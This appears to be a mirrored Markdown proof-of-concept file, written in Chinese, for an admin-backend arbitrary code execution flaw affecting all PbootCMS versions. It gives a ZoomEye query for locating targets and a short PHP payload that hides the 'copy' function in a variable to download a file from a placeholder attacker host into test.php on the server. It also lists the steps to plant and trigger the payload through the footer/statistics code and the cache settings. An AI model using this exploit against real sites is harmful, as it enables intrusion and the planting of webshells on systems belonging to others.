mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-08-13 03:16:31 +00:00
33 lines
816 B
Markdown
33 lines
816 B
Markdown
## PbootCMS全版本后台通杀任意代码执行漏洞
|
||
|
||
## ZoomEye
|
||
```
|
||
app:"PbootCMS"
|
||
```
|
||
|
||
## poc
|
||
```
|
||
<?php
|
||
|
||
$test="copy";
|
||
|
||
$test("http://IP:8080/1.txt","test.php");
|
||
|
||
?>
|
||
```
|
||
在尾部信息和统计代码中（其他位置可能效果一样）插入php代码
|
||
|
||
|
||
|
||
|
||
然后来到全局配置-配置参数
|
||
|
||
打开动态缓存(如果本就打开 那则不需要打开) 点击右上角的清除缓存
|
||
|
||
|
||
|
||
|
||
然后随便点击任意文章，触发漏洞
|
||
|
||
|